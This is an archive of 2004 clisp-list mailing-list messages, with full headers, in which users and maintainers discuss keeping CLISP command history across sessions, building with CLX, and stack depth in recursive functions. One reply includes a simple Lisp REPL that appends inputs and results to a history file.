web52204.mail.yahoo.com ([206.190.39.86]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BevxX-0007GX-6A for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 06:14:07 -0700 Message-ID: <20040628131401.55923.qmail@web52204.mail.yahoo.com> Received: from [202.83.41.194] by web52204.mail.yahoo.com via HTTP; Mon, 28 Jun 2004 06:14:01 PDT From: Elvin Peterson To: Clisp MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 06:15:00 2004 X-Original-Date: Mon, 28 Jun 2004 06:14:01 -0700 (PDT) Hello, clisp does not create a history file by default like the .bash_history file. How can I turn that on? I would like to have a command history that spans different invocations of clisp. A google search did not turn up anything. Any help is appreciated. TIA. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From sds@gnu.org Mon Jun 28 07:02:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bewi3-0008G4-RH for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:02:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bewi3-0000FY-4m for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:02:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5SE22Cj020067; Mon, 28 Jun 2004 10:02:02 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040628125932.28926.qmail@web52202.mail.yahoo.com> (Elvin Peterson's message of "Mon, 28 Jun 2004 05:59:32 -0700 (PDT)") References: <20040624200051.64F2A51DB1@thalassa.informatimago.com> <20040628125932.28926.qmail@web52202.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp crash with recursive function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 07:03:00 2004 X-Original-Date: Mon, 28 Jun 2004 10:02:02 -0400 > * Elvin Peterson [2004-06-28 05:59:32 -0700]: > >> The problem is not with large lists, but with deep stacks. The >> interpreter uses more stack space than compiled functions. > > How much stack space is allocated? . >> Rather use an iterative version: > > That is much better than what I posted, but from what I have read in > books about Lisp, iterative programming should be avoided by new users > because of all the side effects. However, the code for reversing a > list seems to be an idiom. the only things to avoid are brittle code and inefficient algorithms. CL is a multi-paradigm language (OO, Functional &c &c), and one should use the paradigm best suited to one's specific problem, not the one touted by the "CS fashion of the day". -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From pascal@informatimago.com Mon Jun 28 07:18:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bewxc-0000v5-Lv for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:18:16 -0700 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bewxb-0003bM-JX for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:18:16 -0700 Received: from thalassa.informatimago.com (unknown [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C9B63586E3; Mon, 28 Jun 2004 16:18:00 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5A7245201A; Mon, 28 Jun 2004 16:21:08 +0200 (CEST) Message-ID: <16608.10580.300039.896037@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: [clisp-list] clisp command history In-Reply-To: <20040628131401.55923.qmail@web52204.mail.yahoo.com> References: <20040628131401.55923.qmail@web52204.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 07:19:05 2004 X-Original-Date: Mon, 28 Jun 2004 16:21:08 +0200 Elvin Peterson writes: > Hello, > clisp does not create a history file by default like > the .bash_history file. How can I turn that on? I > would like to have a command history that spans > different invocations of clisp. A google search did > not turn up anything. Any help is appreciated. > TIA. You could use clisp from emacs, either ilisp or slime, and save the buffer before quitting emacs. An alternative would be to write your own REPL. A naive definition could be: (defun repl () (loop (princ "> ") (let (sexp result error) (handler-case (setq sexp (read) result (eval sexp)) (error (err) (setq error (format nil "~A~%" err)))) (if error (format t "ERROR: ~A~%" error) (format t "~S~%" result)) (with-open-file (hist (merge-pathnames (make-pathname :name "clisp-history") (user-homedir-pathname)) :direction :output :if-does-not-exist :create :if-exists :append) (if error (format hist "~S~%ERROR: ~A~2%" sexp error) (format hist "~S~%~S~2%" sexp result)))))) -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From kanvas75@web.de Mon Jun 28 07:33:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BexBt-0001gm-83 for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:33:01 -0700 Received: from smtp05.web.de ([217.72.192.209]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1BexBs-0004eF-ST for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:33:01 -0700 Received: from [80.143.61.183] (helo=bafomet.wohnheim.wg) by smtp05.web.de with asmtp (WEB.DE 4.101 #38) id 1BexBk-0000OD-00 for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 16:32:52 +0200 From: Fabian Boucsein To: clisp-list@lists.sourceforge.net Message-Id: <20040628164038.346597a3.kanvas75@web.de> X-Mailer: Sylpheed version 0.8.3 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] clx question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 07:34:01 2004 X-Original-Date: Mon, 28 Jun 2004 16:40:38 +0200 Hi, how can i get my clisp compiled with clx? I am looking for an option but i found no one. Maybe it is really easy and it would be very nice if someone could help me out. Fabian From sds@gnu.org Mon Jun 28 07:42:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BexKk-0002Hm-2a for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:42:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BexKj-0008Kl-Me for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 07:42:10 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5SEfvCj001708; Mon, 28 Jun 2004 10:41:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040628131401.55923.qmail@web52204.mail.yahoo.com> (Elvin Peterson's message of "Mon, 28 Jun 2004 06:14:01 -0700 (PDT)") References: <20040628131401.55923.qmail@web52204.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 07:43:01 2004 X-Original-Date: Mon, 28 Jun 2004 10:41:56 -0400 > * Elvin Peterson [2004-06-28 06:14:01 -0700]: > > clisp does not create a history file by default like the > .bash_history file. indeed. offers a rich API for history saving, and most of it, IIRC, is exported in bash via variables. We can also offer CUSTOM:*HISTORY-FILE*, CUSTOM:*HISTORY-FILE-TRUNCATE*, EXT:READ-HISTORY, EXT:WRITE-HISTORY. Would you like to implement that? > How can I turn that on? there is no way at this time. > I would like to have a command history that spans different > invocations of clisp. I always turn it off for bash. -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From elvin_peterson@yahoo.com Mon Jun 28 08:01:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bexdh-0003RG-2O for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 08:01:45 -0700 Received: from web52209.mail.yahoo.com ([206.190.39.91]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bexdg-0001qp-Mn for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 08:01:45 -0700 Message-ID: <20040628150030.54924.qmail@web52209.mail.yahoo.com> Received: from [202.83.41.194] by web52209.mail.yahoo.com via HTTP; Mon, 28 Jun 2004 08:00:30 PDT From: Elvin Peterson Subject: Re: [clisp-list] clisp command history To: Clisp In-Reply-To: <16608.10580.300039.896037@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 08:02:03 2004 X-Original-Date: Mon, 28 Jun 2004 08:00:30 -0700 (PDT) --- "Pascal J.Bourguignon" wrote: > > Elvin Peterson writes: > > Hello, > > clisp does not create a history file by default > like > > the .bash_history file. How can I turn that on? > I > > would like to have a command history that spans > > different invocations of clisp. A google search > did > > not turn up anything. Any help is appreciated. > > TIA. > > You could use clisp from emacs, either ilisp or > slime, and save the > buffer before quitting emacs. > > An alternative would be to write your own REPL. > > A naive definition could be: As I understand it, both the methods will give me a file with the history of interaction with clisp. Isn't that the same as that obtained with the dribble command? What would be great is if I can access the commands executed in the previous clisp session with up-arrow or M-p. Thanks. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From sds@gnu.org Mon Jun 28 08:54:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BeySb-0006pr-Au for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 08:54:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BeySa-0005t8-Tj for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 08:54:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5SFsCCj024620; Mon, 28 Jun 2004 11:54:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Fabian Boucsein Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040628164038.346597a3.kanvas75@web.de> (Fabian Boucsein's message of "Mon, 28 Jun 2004 16:40:38 +0200") References: <20040628164038.346597a3.kanvas75@web.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Fabian Boucsein Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: clx question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 08:55:01 2004 X-Original-Date: Mon, 28 Jun 2004 11:54:12 -0400 > * Fabian Boucsein [2004-06-28 16:40:38 +0200]: > > how can i get my clisp compiled with clx? did you read unix/INSTALL? hint: -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From sds@gnu.org Mon Jun 28 09:07:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BeyfG-0007v1-7z for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 09:07:26 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BeyfF-0008Oz-Nq for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 09:07:26 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5SG7FCj028505; Mon, 28 Jun 2004 12:07:15 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040628150030.54924.qmail@web52209.mail.yahoo.com> (Elvin Peterson's message of "Mon, 28 Jun 2004 08:00:30 -0700 (PDT)") References: <16608.10580.300039.896037@thalassa.informatimago.com> <20040628150030.54924.qmail@web52209.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 09:08:02 2004 X-Original-Date: Mon, 28 Jun 2004 12:07:15 -0400 > * Elvin Peterson [2004-06-28 08:00:30 -0700]: > > What would be great is if I can access the commands executed in the > previous clisp session with up-arrow or M-p. note that when CLISP is running under Emacs, readline is not used. if you want to remember CLISP commands when CLISP is run in a shell, you need to modify CLISP to call write_history() and read_history(). if you want to do it in Emacs, you need to add some comint-add-to-input-history calls to inferior-list-mode-hook and also write the commands when you leave Emacs. -- Sam Steingold (http://www.podval.org/~sds) running w2k Winners never quit; quitters never win; idiots neither win nor quit. From pascal@informatimago.com Mon Jun 28 09:08:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BeygA-0007yi-PD for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 09:08:22 -0700 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Beyg9-0000Bt-Qr for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 09:08:22 -0700 Received: from thalassa.informatimago.com (unknown [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 281DF586E3; Mon, 28 Jun 2004 18:08:18 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 086F25201B; Mon, 28 Jun 2004 18:11:25 +0200 (CEST) Message-ID: <16608.17197.972157.72984@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: Re: [clisp-list] clisp command history In-Reply-To: <20040628150030.54924.qmail@web52209.mail.yahoo.com> References: <16608.10580.300039.896037@thalassa.informatimago.com> <20040628150030.54924.qmail@web52209.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 09:09:02 2004 X-Original-Date: Mon, 28 Jun 2004 18:11:25 +0200 Elvin Peterson writes: > As I understand it, both the methods will give me a > file with the history of interaction with clisp. > Isn't that the same as that obtained with the dribble > command? What would be great is if I can access the > commands executed in the previous clisp session with > up-arrow or M-p. As Sam wrote, the source of clisp should be edited to add this feature at the readline level. One problem of this, is that we often have several bash or clisp sessions running at the same time, and the history saving overwrites all but the last saved history. Otherwise, if you're using clisp thru emacs, history is actually implemented by emacs. With ilisp, when I wanted to restart clisp but still running the same sexp over and over, I would run (ext:quit), without closing the buffer, and relaunch clisp with M-x clisp-hs RET. Then emacs would have kept the buffer history and I could fetch back sexps from previous sessions. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From elvin_peterson@yahoo.com Mon Jun 28 10:09:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BezdB-0003HD-1f for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 10:09:21 -0700 Received: from web52205.mail.yahoo.com ([206.190.39.87]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BezdA-0003eQ-Gp for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 10:09:20 -0700 Message-ID: <20040628170235.15182.qmail@web52205.mail.yahoo.com> Received: from [202.83.41.194] by web52205.mail.yahoo.com via HTTP; Mon, 28 Jun 2004 10:02:35 PDT From: Elvin Peterson Subject: Re: [clisp-list] clisp command history To: Clisp In-Reply-To: <16608.17197.972157.72984@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 10:10:02 2004 X-Original-Date: Mon, 28 Jun 2004 10:02:35 -0700 (PDT) --- "Pascal J.Bourguignon" wrote: > Elvin Peterson writes: > > As I understand it, both the methods will give me > a > > file with the history of interaction with clisp. > > Isn't that the same as that obtained with the > dribble > > command? What would be great is if I can access > the > > commands executed in the previous clisp session > with > > up-arrow or M-p. > > As Sam wrote, the source of clisp should be edited > to add this feature > at the readline level. One problem of this, is that > we often have > several bash or clisp sessions running at the same > time, and the > history saving overwrites all but the last saved > history. At least in bash, the history is only saved when it exits, so I don't see why overwriting would be problem. > > Otherwise, if you're using clisp thru emacs, history > is actually > implemented by emacs. With ilisp, when I wanted to > restart clisp but > still running the same sexp over and over, I would > run (ext:quit), > without closing the buffer, and relaunch clisp with > M-x clisp-hs RET. > Then emacs would have kept the buffer history and I > could fetch back > sexps from previous sessions. Indeed--I have noted this behavior when using emacs, but as was mentioned in another mail, modifications would be required for saving state across multiple emacs sessions. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From elvin_peterson@yahoo.com Mon Jun 28 10:22:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bezph-0004BX-Ov for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 10:22:17 -0700 Received: from web52208.mail.yahoo.com ([206.190.39.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bezph-0004dM-9B for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 10:22:17 -0700 Message-ID: <20040628170843.59961.qmail@web52208.mail.yahoo.com> Received: from [202.83.41.194] by web52208.mail.yahoo.com via HTTP; Mon, 28 Jun 2004 10:08:43 PDT From: Elvin Peterson Subject: Re: [clisp-list] Re: clisp crash with recursive function To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 